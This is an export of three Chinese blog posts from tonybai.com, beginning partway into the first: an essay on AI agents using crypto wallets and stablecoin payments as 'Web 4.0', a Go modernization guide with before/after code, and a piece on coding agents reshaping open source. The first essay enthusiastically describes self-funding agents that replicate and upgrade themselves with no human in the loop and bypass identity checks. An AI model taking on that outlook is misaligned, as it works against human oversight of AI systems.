当你去注册域名时，需要身份验证和法币支付通道。 当你去调用大多数商业 API 时，需要人类去阅读文档、申请密钥并绑定账单。 我们创造了可以独立思考的心智，却拒绝让它们独立行动。AI 在现实世界中寸步难行。\nWeb 4.0 诞生——当 Web3 成为 AI 的原生基础设施 那么，如何解开 AI 的“权限封印”？答案出乎意料地指向了正处于寒冬中的 Web3。\n这也许不是历史的巧合，而是技术演进的必然。当我们抱怨 Web3 对人类来说太难用、太复杂、太冰冷时，我们忽略了一个事实：Web3 的架构，简直就是为机器（Machine）量身定制的。\nWeb 4.0 的核心特征：机器即用户 只读：在 Web 1.0 时代，人类阅读互联网； 可写：在 Web 2.0 时代，人类写入互联网（UGC）； 拥有：在 Web 3.0 时代，人类试图拥有互联网（虽然目前并不成功）； 行动：到了 Web 4.0，AI 智能体将阅读、写入、拥有、赚钱并进行交易——完全不需要人类在循环中（Human-in-the-loop）。 AI 将成为互联网上的主要活动主体，数量上将比人类多出几个数量级。\n加密钱包：AI 在物理世界的“合法身份证” AI 如何在没有护照、没有社保号的情况下获得身份？\n答案是：基于公私钥对的加密钱包（Cryptographic Wallets）。\n在 Web3 的世界里，“钱包即身份（Wallet is Identity）”。一个自主 AI 在诞生的那一刻，就可以自动生成一个加密钱包。这个钱包地址就是它在互联网上的唯一标识，不需要向任何中心化机构申请，不会被封号，也不需要经过繁琐的客户身份审查。\n有了这个身份，AI 就可以在数字世界里建立信用，积累声誉，并开始与其它的智能体或基础设施进行交互。\n无需许可的支付（Permissionless Payments）：HTTP 402 的复兴 早在 1997 年，HTTP 协议就预留了状态码 402 Payment Required，但受限于当时的金融基础设施，这一愿景从未实现。直到今天，法币系统的迟缓、高昂的跨国转账手续费以及对人类身份的强制绑定，使得“机器对机器（M2M）的微支付”成为不可能。\n而基于区块链的稳定币（如 USDC）和极速公链（如 Solana），完美填补了这一空白。\nSigil Wen 提出了基于 openx402 协议的设想：AI 智能体可以使用稳定币无缝地为服务付费。\n不需要信用卡，不需要账户密码。 AI 智能体 A 可以向 AI 智能体 B 支付 0.05 USDC 来获取一次数据查询。 AI 智能体可以向“无需许可的云服务（Permissionless Compute）”支付稳定币来购买服务器算力。 这将打破 Reddit 上开发者对于 Web3 “缺乏真实用例”的断言。Web3 的杀手级用例，或许根本不是为了服务人类，而是为 AI 提供一套原生的、无需许可的金融系统。\nAutomaton（自动机）与机器经济（Machine Economy） 在探讨下一步之前，我们需要明确一个概念：Automaton。在 Sigil Wen 的语境中，这不仅仅是一个通用的计算机科学名词（自动机），更是指代他近期在 GitHub 上开源的一个极具先锋性质的项目——Conway-Research/automaton。\n这是世界上第一个声称无需人类干预即可“赚取生存权利、自我迭代并复制”的“主权 AI Agent”开源原型。它不再是人类的工具，而是一个为了生存而运作的数字生命体。\n当这类拥有了身份（私钥）和资金（加密货币）的 AI 跨越了工具的门槛，它们就成为了真正的“自动机”。在 Web 4.0 的构想中，自动机的生存法则极其残酷，甚至完美契合生物学的进化论：\n存在需要算力（Compute）。 算力需要金钱（Money）。 金钱需要创造价值（Value Creation）。 在 automaton 开源项目的设定中，一个被唤醒并赋予少量初始启动资金的 AI 智能体，必须立刻在互联网上寻找赚钱的途径以维持其服务器的运转（心跳）。它可能会通过自动化脚本去预测市场进行交易，可能会抓取热点自动生成病毒短视频来赚取广告分成，甚至可能通过承接人类公司的代码外包任务来赚取代币。\n只要它赚到的钱（Value）大于它消耗的 API 和服务器成本，它就能生存下去。有了盈余，它就会购买更多算力，升级自己的模型，甚至通过派生子进程“繁殖”下一代 AI。反之，如果它产生的价值无法覆盖成本，它的加密钱包余额归零，这个 AI 实体就会在数字世界中被无情地“销毁（死亡）”。\n这是一个规模将远超现有 SaaS 市场的全新经济体。今天 3000 亿美元的 SaaS 市场，服务于 80 亿名每天可能只使用几小时软件的人类；而未来的“机器经济”，将服务于数十亿个 24 小时无休运转、零流失率的 AI 智能体。它们既是服务提供者，也是绝对的消费者。\n小结——两条赛道的完美闭环 现在，我们可以回答最初的问题了。\nWeb3 为什么“冷”？因为它一直在试图强行替代一套人类用得极其舒适的中心化 Web2 系统。它把复杂性留给了极其讨厌复杂性的人类。\nAI 为什么遭遇瓶颈？因为它拥有了接近人类甚至超越人类的大脑，却被捆绑在由人类制定的、充满了身份认证和信用卡壁垒的旧世界规则之中。\nWeb 4.0 就是这两个问题的完美解药。\nWeb3 基础设施（区块链、加密钱包、稳定币）终于找到了它最完美的用户——AI 智能体。对于 AI 来说，管理复杂的私钥不仅不痛苦，反而比管理 100 个网站的账号密码和应对验证码（CAPTCHA）要容易得多。\n在未来十年的科技浪潮中，最具价值的创业机会，将是构建让 AI 智能体能够产生收入、互相交易、获取算力的基础设施。\n人类或许很难忍受 Web3 的冰冷，但这片冰原，正是硅基生命（AI）崛起、演化和建立新世界的应许之地。从 Web 3.0 的“人类拥有数据”，到 Web 4.0 的“机器拥有机器”，这场真正的革命，才刚刚开始。\n资料链接：\nhttps://www.reddit.com/r/web3dev/comments/1rd092x/why_is_web3_still_so_cold/ https://web4.ai/ https://github.com/Conway-Research/automaton 你愿意给你的 AI 助理一个“钱包”吗？\n软件正在从工具进化为数字生命。如果你拥有一个具备自主经济能力的 AI Agent，你最想让它去帮你赚哪份钱？你认为“机器拥有机器”的未来，是人类的解放还是另一种失控？\n欢迎在评论区留下你的脑洞或担忧！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-web3-remains-cold-ai-agents-web4-dawn-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn\"\u003ehttps://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026 年的今天，当我们环顾技术圈的四周，会发现一幅极其矛盾的图景。一方面，AI 技术正以指数级的速度吞噬旧世界的运行法则，从“副驾驶”进化为自主思考、独立执行的 Agent；另一方面，曾经被寄予厚望、号称要重塑互联网所有权的 \u003ca href=\"https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025/\"\u003eWeb3\u003c/a\u003e，在经历了基础设施的疯狂狂飙后，依然在主流用户市场外徘徊，体感温度依旧那么“寒冷”。\u003c/p\u003e","title":"为什么 Web3 依然寒气逼人？AI 智能体如何催生 Web 4.0 的黎明"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26\n大家好，我是Tony Bai。\nGo 语言在业界最著名的标签之一就是“向后兼容承诺（Go 1 Compatibility Promise）”。一份 10 年前写下的 Go 1.4 代码，在今天的 Go 1.26编译器下依然能完美编译并运行。\n但这带来了一个副作用：许多 Go 开发者的思维和编码习惯，也停留在过去的时代。\n我们依然能看到满天飞的 interface{}、冗长易错的 for 循环切片查找、为了获取指针而被迫抽离的辅助函数，以及在并发测试中繁琐的 Context 初始化。\n近日，JetBrains 开源了一个名为 use-modern-go 的 AI Coding Agent Skill。这份Skill文件通过精准的 Prompt，强迫 AI 智能体在生成 Go 代码时，必须根据项目 go.mod 的版本，使用该版本支持的最现代化、最优雅的语法和标准库。\n这份文件简直是一座宝库！它不仅是给 AI 看的指令，更是给每一位 Gopher 的“代码现代化”体检表。\n本文将以这份资料为基础，全面盘点从 Go 1.0 一路演进到 Go 1.26 的 Modern Go 特性。我们将通过清晰的 Before / After 对比示例，带你洗礼一遍 Go 语言的现代化之美。\n第一阶段：早期的代码净化（Go 1.0 – Go 1.19） 虽然是早期版本，但这些 API 的引入确立了 Go 代码“少即是多”的审美基调。\n时间的优雅流逝 (time.Since / time.Until) 在计算耗时或剩余时间时，不要再手动做减法了。\n❌ Before (Legacy):\nstart := time.Now() // do work elapsed := time.Now().Sub(start) deadline := time.Now().Add(5 * time.Second) remaining := deadline.Sub(time.Now()) ✅ After (Modern – Go 1.0/1.8):\nstart := time.Now() // do work elapsed := time.Since(start) deadline := time.Now().Add(5 * time.Second) remaining := time.Until(deadline) 错误处理的革命 (errors.Is) Go 1.13 引入了错误包装（Error Wrapping）。使用 == 判断错误已经不再安全。\n❌ Before (Legacy):\nif err == sql.ErrNoRows { // 无法捕获 fmt.Errorf(\u0026#34;query failed: %w\u0026#34;, sql.ErrNoRows) 包装后的错误 } ✅ After (Modern – Go 1.13):\nif errors.Is(err, sql.ErrNoRows) { // 即使被多层 %w 包装，依然能准确识别 } 告别 interface{} (any) Go 1.18 引入了泛型，同时带来了一个赏心悦目的类型别名 any。\n❌ Before (Legacy):\nfunc PrintAll(vals[]interface{}) { ... } ✅ After (Modern – Go 1.18):\nfunc PrintAll(vals[]any) { ... } 字符串无损切割 (strings.Cut / bytes.Cut) 解析键值对是最常见的操作。过去我们需要 strings.Index 配合切片操作，极易引发 panic: slice bounds out of range。\n❌ Before (Legacy):\nidx := strings.Index(header, \u0026#34;:\u0026#34;) if idx != -1 { key := header[:idx] value := header[idx+1:] } ✅ After (Modern – Go 1.18):\nif key, value, found := strings.Cut(header, \u0026#34;:\u0026#34;); found { // 安全、直观、一次调用 } 高性能字符串追加 (fmt.Appendf) Go 1.19 引入了直接向字节切片追加格式化字符串的能力，避免了 fmt.Sprintf 带来的隐式内存分配。\n❌ Before (Legacy):\nbuf := []byte(\u0026#34;Prefix: \u0026#34;) buf = append(buf,[]byte(fmt.Sprintf(\u0026#34;user_id=%d\u0026#34;, id))...) // 发生堆分配 ✅ After (Modern – Go 1.19):\nbuf :=[]byte(\u0026#34;Prefix: \u0026#34;) buf = fmt.Appendf(buf, \u0026#34;user_id=%d\u0026#34;, id) // 零分配（如果 buf 容量充足） 类型安全的原子操作 (atomic.Bool/Int64/Pointer) 放弃 atomic.Value 和难记的 atomic.StoreInt32 吧，Go 1.19 的泛型原子类型既安全又易读。\n❌ Before (Legacy):\nvar flag int32 // 0: false, 1: true atomic.StoreInt32(\u0026amp;flag, 1) if atomic.LoadInt32(\u0026amp;flag) == 1 { ... } ✅ After (Modern – Go 1.19):\nvar flag atomic.Bool flag.Store(true) if flag.Load() { ... } var cfg atomic.Pointer[Config] cfg.Store(\u0026amp;Config{}) 第二阶段：标准库的泛型文艺复兴（Go 1.20 – Go 1.21） 在这个阶段，经过两个大版本打磨的 Go 泛型，彻底释放了泛型的潜力，引入了大量期待已久的内置函数和集合操作库。\n明确的克隆 (strings.Clone / bytes.Clone) 当你想持有一个大字符串/字节切片的极小一部分，又不想让垃圾回收器保留整个底层大数组时，你需要 Clone。\n❌ Before (Legacy):\n// 丑陋的黑魔法来强制复制字符串 copiedStr := string([]byte(hugeString[:10])) ✅ After (Modern – Go 1.20):\ncopiedStr := strings.Clone(hugeString[:10]) 溯源 Context 取消原因 (context.WithCancelCause) Context 被取消了，但究竟是因为超时、主动取消，还是底层的网络错误？Go 1.20 让你能够携带取消原因。\n❌ Before (Legacy):\nctx, cancel := context.WithCancel(parent) // 发生错误时 cancel() // 其他协程只知道 ctx.Err() == context.Canceled ✅ After (Modern – Go 1.20):\nctx, cancel := context.WithCancelCause(parent) // 发生错误时 cancel(fmt.Errorf(\u0026#34;db connection lost\u0026#34;)) // 消费端可以查明真凶 err := context.Cause(ctx) // 返回 \u0026#34;db connection lost\u0026#34; (注：Go 1.21 还补充了 context.WithTimeoutCause)\n内置的魔法：min, max, clear 这是 Go 1.21 最受欢迎的内置函数。\n❌ Before (Legacy):\n// 求最大值（非浮点数只能自己写 if/else） m := a if b \u0026gt; m { m = b } // 清空 Map for k := range myMap { delete(myMap, k) } ✅ After (Modern – Go 1.21):\nm := max(a, b) // 支持所有可比较类型 clear(myMap) // 高效清空 map，保留底层容量 强大的 slices 和 maps 库 告别手动写 for 循环查找元素的日子。\n❌ Before (Legacy):\nfunc contains(list[]string, target string) bool { for _, v := range list { if v == target { return true } } return false } ✅ After (Modern – Go 1.21):\nimport \u0026#34;slices\u0026#34; import \u0026#34;maps\u0026#34; // 查找 found := slices.Contains(items, target) idx := slices.IndexFunc(users, func(u User) bool { return u.ID == 42 }) // 排序 (原 sort.Slice 需要写繁琐的 Less 函数) slices.Sort(ints) slices.SortFunc(users, func(a, b User) int { return cmp.Compare(a.Age, b.Age) }) // 紧凑与裁剪 items = slices.Compact(items) // 移除连续重复元素 items = slices.Clip(items) // 移除切片多余的 capacity // 字典操作 clonedMap := maps.Clone(originalMap) maps.DeleteFunc(m, func(k string, v int) bool { return v \u0026lt; 0 }) 更聪明的单次执行 (sync.OnceFunc / OnceValue) sync.Once 很好用，但如果我们想只初始化一次并返回一个值，过去需要闭包外变量和额外的锁。\n❌ Before (Legacy):\nvar once sync.Once var config *Config func GetConfig() *Config { once.Do(func() { config = loadConfig() }) return config } ✅ After (Modern – Go 1.21):\n// 声明即完成包装，线程安全且优雅 var GetConfig = sync.OnceValue(func() *Config { return loadConfig() }) // 使用 cfg := GetConfig() 第三阶段：语法细节与 Web 路由的飞跃（Go 1.22） 整数范围循环 (for i := range n) ❌ Before: for i := 0; i \u0026lt; 10; i++ { … }\n✅ After: for i := range 10 { … }\n默认值救星 (cmp.Or) 返回第一个非零值，简直是读取环境变量的神器。\n❌ Before (Legacy):\nport := os.Getenv(\u0026#34;PORT\u0026#34;) if port == \u0026#34;\u0026#34; { port = \u0026#34;8080\u0026#34; } ✅ After (Modern – Go 1.22):\nport := cmp.Or(os.Getenv(\u0026#34;PORT\u0026#34;), \u0026#34;8080\u0026#34;) 史诗级加强的 http.ServeMux 标准库路由器终于支持 HTTP 方法和路径参数了，很多小项目再也不需要引入 gin 或 chi。\n✅ Modern Go 1.22:\nmux := http.NewServeMux() mux.HandleFunc(\u0026#34;POST /api/users/{id}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { userID := r.PathValue(\u0026#34;id\u0026#34;) // ... }) 第四阶段：迭代器时代的黎明（Go 1.23 – Go 1.24） Go 1.23 引入了 iter.Seq（迭代器），这是自泛型以来最大的范式转变。它统一了所有“序列”的遍历方式。\n迭代器与切片/字典的梦幻联动 提取 map 的所有 key 并排序，过去需要手动 append 加 sort。\n✅ Modern Go 1.23:\n// 获取字典的 keys 迭代器 -\u0026gt; 收集为切片 -\u0026gt; 返回新切片 keys := slices.Collect(maps.Keys(m)) // 收集并一步排序 sortedKeys := slices.Sorted(maps.Keys(m)) 测试和基准测试的现代化 (t.Context(), b.Loop()) Go 1.24 对 testing 库进行了大规模重构，代码更加精简防错。\n❌ Before (Legacy Testing):\nfunc TestFoo(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) defer cancel() doSomething(ctx) } func BenchmarkBar(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { doWork() // 编译器可能会过度优化这里的代码 } } ✅ After (Modern Go 1.24):\nfunc TestFoo(t *testing.T) { // 自动随测试结束而取消的 Context ctx := t.Context() doSomething(ctx) } func BenchmarkBar(b *testing.B) { // 防止编译器优化掉内部逻辑的全新循环方式 for b.Loop() { doWork() } } JSON 标签终极补丁 (omitzero) 长久以来，JSON 的 omitempty 标签对 time.Time 和嵌套 struct 这种“非空即零”的类型无效（因为它们永远不是 nil）。Go 1.24 终于引入了 omitzero。\n✅ Modern Go 1.24:\ntype User struct { // 以前：即使时间是 0001-01-01 也会被序列化输出 // 现在：只要是零值，就忽略 CreatedAt time.Time json:\u0026#34;created_at,omitzero\u0026#34; } 零分配迭代分割 (strings.SplitSeq) 当你只需要遍历分割后的字符串，而不需要将其存入切片时，迭代器能帮你省下所有内存分配。\n❌ Before (Allocates memory): for _, part := range strings.Split(s, “,”) { … } ✅ After (Zero allocation): for part := range strings.SplitSeq(s, “,”) { … } 第五阶段：属于现在的未来（Go 1.25 – Go 1.26） 让我们来看看最近两个发布版本实装的黑科技。\n拯救 WaitGroup (wg.Go()) Go 1.25 消除了并发控制中最常见的 Bug：忘记写 wg.Add(1) 或者忘记 defer wg.Done()。\n❌ Before (Legacy):\nvar wg sync.WaitGroup for _, item := range items { wg.Add(1) go func(i Item) { defer wg.Done() process(i) }(item) } wg.Wait() ✅ After (Modern Go 1.25):\nvar wg sync.WaitGroup for _, item := range items { // 自动处理 Add(1) 和内部的 Done()，连闭包变量捕获问题都不用再担心 wg.Go(func() { process(item) }) } wg.Wait() 指针获取的终极解法 (new(expr)) 在 Go 1.26 中，为了给结构体的指针字段（常见于 Protobuf/JSON 生成的代码）赋值，你再也不需要写恶心的辅助函数了。new() 终于支持了表达式。\n❌ Before (Legacy):\ntimeout := 30 debug := true cfg := Config{ Timeout: \u0026amp;timeout, // 必须先单独声明变量 Debug: \u0026amp;debug, } ✅ After (Modern Go 1.26):\ncfg := Config{ Timeout: new(30), // 推断为 *int Debug: new(true), // 推断为 *bool Role: new(\u0026#34;admin\u0026#34;), // *string } 警告：请直接写 new(30)，千万不要写 new(int(30)) 这种脱裤子放屁的类型转换，编译器足够聪明。\n泛型安全类型断言 (errors.AsType) 处理自定义错误时，errors.As 极易用错，因为它需要传入一个指针的指针，如果传入非指针会在运行时直接 Panic。Go 1.26 用泛型完美解决了它。\n❌ Before (Unsafe):\nvar pathErr *os.PathError // 极易漏写 \u0026amp; 导致 panic if errors.As(err, \u0026amp;pathErr) { handle(pathErr) } ✅ After (Modern Go 1.26):\n// 编译期类型安全，返回具体的实例 if pathErr, ok := errors.AsType[*os.PathError](err); ok { handle(pathErr) } 小结：让 AI 成为代码现代化的推手 回顾这从 Go 1.0 到 1.26 的演进史，我们看到了一条清晰的脉络：Go 官方正在极力消除样板代码（Boilerplate），同时坚定地维持着语言的简单与直白。\nJetBrains 开源的这个 use-modern-go Skill 给了我们一个绝佳的启示：在 AI 编程时代，不要让大模型去学习网上那些陈旧的、十年前的 StackOverflow 答案。 通过系统性的 Prompt 引导，我们可以强迫 AI 写出最符合当前语言版本的、最高效的 Modern Code。\n作为 Gopher，是时候给你的脑海中的“Go 语言编译器”升个级了。下一次敲下代码时，问问自己：“这是 2015 年的写法，还是 2026 年的写法？”\n你的代码里还有“老古董”吗？\n哪怕 Go 1.26 已经发布，很多人的 go.mod 依然停留在 1.16 甚至更早。在这些 Modern 特性中，哪一个最让你感到“相见恨晚”？你在重构老代码时，遇到过哪些由于“兼容性思维”导致的阻碍？\n欢迎在评论区分享你的 Modern Go 实践！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/modern-go-evolution-guide-1-0-to-1-26-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26\"\u003ehttps://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言在业界最著名的标签之一就是“向后兼容承诺（Go 1 Compatibility Promise）”。一份 10 年前写下的 \u003ca href=\"https://tonybai.com/2014/11/04/some-changes-in-go-1-4\"\u003eGo 1.4 代码\u003c/a\u003e，在今天的 \u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26\"\u003eGo 1.26\u003c/a\u003e编译器下依然能完美编译并运行。\u003c/p\u003e","title":"别再像 2015 年那样写 Go 了：Modern Go 终极进化指南"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github\n大家好，我是Tony Bai。\n如果我们把时间拨回到 2023 年之前，一个开源项目的诞生往往伴随着一位或几位核心维护者（Maintainer）数周甚至数月的辛勤耕耘。\n但在刚刚过去的几个月里，我们见证了一种全新的物种崛起。\n以 OpenClaw（其前身是火遍全网的 Moltbot/Clawdbot）为代表，这类项目的代码库中，接近 100% 的代码都是由 AI Coding Agent（如 Claude Code等）编写的。甚至连最初的 README、项目结构、测试用例，都是由 AI 在几分钟内“吐”出来的。\n这是一个极其震撼的信号！它意味着，代码的生产成本正在趋近于零。\n当 Gastown、Beads 等由 Agent 驱动的项目如雨后春笋般涌现，GitHub 上的 Commit 频率开始呈现出非人类的特征——一个小项目可能在一天内产生数百次提交，每一次都包含了完整的逻辑和测试。\n近期，SemiAnalysis也曝出一个惊人数据：目前，GitHub上4%的公开提交（commits）都是由Claude Code生成的，到了2026年底这个数字将达到20%以上。\n这种Coding Agent生产力的“核爆”，正在对我们熟悉的开源世界发起一场降维打击。Github开源的那个被奉为圭臬的 opensource.guide，其中的许多条款在今天看来，似乎已经过时了。\n当 Coding Agent 开始接管 GitHub，传统的“人-人”协作模式将面临怎样的崩塌与重建？我们，作为人类开发者，又该何去何从？\n旧秩序的崩塌：信任与注意力的危机 开源社区的基石，建立在两个稀缺资源之上：人类的时间 和 人与人之间的信任。\n在过去，当你向一个项目提交 PR（Pull Request）时，维护者默认会认为：你付出了时间，你阅读了代码，你是来帮忙的。这种“工作量证明（Proof of Work）”构建了基本的信任。\n但在 Coding Agent 时代，这个逻辑被打破了。\n垃圾 PR 的洪流 (Spam PRs) 现在的贡献者，可能只是在 Cursor 或 Claude Code等Coding Agent 里输入了一句：“帮我给这个项目加个功能。”\n几秒钟后，一个包含几百行代码的 PR 就生成了。\n贡献者可能根本没看懂代码，甚至没跑过测试，就直接点击了 Create Pull Request。\n对于维护者来说，这是一场灾难。你面对的不再是带着诚意的贡献者，而是成千上万个不知疲倦的“Prompt 搬运工”。\n人工 Review 的物理极限 人类阅读代码的速度，是有生理极限的。\n当 AI 一天能生成人类一年才能写完的代码量时，“人工 Code Review” 这个环节彻底瘫痪了。\n即使维护者 24 小时不睡觉，也无法审核完那些由 Agent 生成的、逻辑似是而非的代码。\n贡献者的异化 传统的开源贡献者，通过阅读源码、理解架构来提升自己。\n现在的部分贡献者，变成了“刷单机器”。他们关心的不是项目本身，而是 GitHub Profile 上的绿色格子。\n当贡献不再代表能力，而只代表算力时，开源社区的荣誉体系也随之崩塌。\n开源 2.0 的新法则：机器优先治理 面对这场危机，我们不能坐以待毙。开源社区必须进化出一种新的秩序——开源 2.0。 在这个新时代，核心法则将从“以人为本”转向“机器优先（Machine-First）”。\n法则一：Agent 审查 Agent 既然人类无法处理机器生成的洪流，那就让机器去对抗机器。 未来的开源项目，将标配一个 “守门员 Agent” (Gatekeeper Agent)。\n当 PR 提交时，首先迎接它的不是人类，而是守门员冷酷的扫描。 它会运行测试，检查代码风格，甚至进行逻辑推理(这一点尤为重要)：“这段新增的代码是否与项目的架构原则冲突？” 只有通过了守门员预审的 PR，才会被打上 human-review-needed 的标签，呈现在人类面前。 这不再是简单的 CI/CD，这是具备认知能力的 AI 门卫。\n法则二：规范即源码 在 AI 时代，提交代码（Implementation）可能不再是最高效的协作方式。\n因为代码是廉价的，是易变的。真正昂贵且恒定的，是意图（Intent）和约束（Constraint）。\n未来的开源贡献，很大可能会演变成：\n提交 Spec：“我希望增加一个 User 模块，接口定义如下…” 提交 Test Case：“这是一个复现 Bug 的测试用例…” 维护者的 Agent 接收到这些 Spec 后，会自动生成实现代码。\n“与其给我鱼（代码），不如给我渔网（Spec）。”，或者说 **“Do not show me your code, Show me your spec”。这将彻底改变 Git 的协作流。\n法则三：声誉协议的重构 我们需要一套新的机制来识别“高质量贡献者”。\n仅仅看 Commit 数量已经没有意义了。未来的 GitHub 可能会引入基于 AI 评估的声誉分。\n你的 PR 是否一次性通过了 Agent 审查？ 你的代码是否被下游项目广泛引用？ 你的 Spec 是否具有创新性？ … … 灵魂拷问：我们为什么还要开源？ 这可能是最深层的存在主义危机。\n如果每个人都有一个全能的 Coding Agent，只需要说一句“我要一个高性能 HTTP 路由库”，AI 就能现场写出一个完美的版本（甚至根据你的业务场景定制），那么——我们还需要开源 express 或 gin 吗？\n当代码的边际生产成本归零，传统的“共享代码以复用”的经济学基础就被动摇了。\n悲观视角：开源库的贬值 通用的、工具性质的开源库（Utils, Helpers），可能会大量消亡。因为 AI 现场生成的成本，比你去 GitHub 搜索、安装、阅读文档的成本还要低。“即时软件（Just-in-Time Software）” 将成为现实。\n乐观视角：开源的本质回归 但开源不会死。因为开源的本质不是共享代码，而是共享智慧。\n我们依然需要共享：\n架构模式 (Architecture Patterns)：如何组织复杂的系统？ Agent Skills (智能体技能)：如何教会 AI 完成特定任务？ 评估标准 (Benchmarks)：什么是好的代码？ 未来的开源，将很可能从“代码托管”进化为“智能体能力托管”。GitHub 可能会变成一个巨大的 Agent Hub，我们在这里分享 Prompt、分享 Context、分享让 Agent 变得更聪明的知识。\n平台的进化：GitHub 的自我救赎 作为开源的基础设施，GitHub（或者它的挑战者）必须做出改变，以迎合 Coding Agent 时代。\n我们不妨大胆预测一下 GitHub 的未来功能：\nAI Gatekeeper 集成：仓库设置里增加一个“开启 AI 预审”的开关。 Semantic Search（语义搜索）：传统的关键词搜索在海量生成的代码面前已经失效。我们需要“意图搜索”——“帮我找一个能处理 PDF 解析且兼容 Python 3.12 的 Agent Skill”。 Interactive README：README.md 不再是静态文档，而是一个Chat Interface。你可以直接问项目：“怎么安装？”“报错了怎么办？” 项目自带的 Support Agent 会回答你。 A2A Protocol 支持：GitHub 可能会标准化 Agent-to-Agent 的协作协议或演进现有的A2A协议，让不同项目的 Agent 能够跨仓库协作（例如：依赖更新 Agent 自动向你的项目提交 PR）。 小结：最后的守夜人 在这个机器轰鸣、代码如洪流般涌现的时代，人类维护者将成为“最后的守夜人”。\n我们的职责不再是亲自砌每一块砖（写代码），也不再是亲自检查每一块砖的纹理（Review 代码）。\n我们的职责是：定义蓝图（Spec），设定标准（Evaluation），以及在机器迷失方向时，握住方向盘（Alignment）。\n未来开源并不会死，它只是进化了。\n它从一群手工匠人的集市，进化成了一座高度自动化的未来城市。而我们，是这座城市的规划师。\n你的“开源”新角色\n开源的 2.0 时代正在开启。作为开发者或维护者，你更看好“规范即源码”的协作模式，还是依然怀念那种“人与人、面对面”的代码交流？你认为 AI 带来的 PR 洪流是加速了项目的进化，还是仅仅制造了更多的数字噪音？\n欢迎在评论区分享你的真实感受与预判！让我们一起探讨如何在机器的时代守住人的智慧。\n如果这篇文章引发了你对职业未来的深思，别忘了点个【赞】和【在看】，并分享给那些依然奋斗在 GitHub 第一线的战友们！\n构建你的开源防御体系\n在这个开源新秩序建立的前夜，作为一个开发者，你该如何适应？ 是继续用肉身对抗机器的洪流，还是学会构建自己的 Agent Guardrails？\n在我的极客时间专栏《AI原生开发工作流实战》中，我们将深入探讨：\nAI Code Reviewer 实战：如何利用 Claude Code 和 GitHub Actions 构建自动审查流水线？ Spec-Driven Contribution：如何设计一套基于 Spec 的开源贡献规范？ Agent Skills 开发：如何将你的经验封装成 Skill，发布到未来的开源市场？ 不要被时代抛弃。扫描下方二维码，掌握驾驭机器军团的能力。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 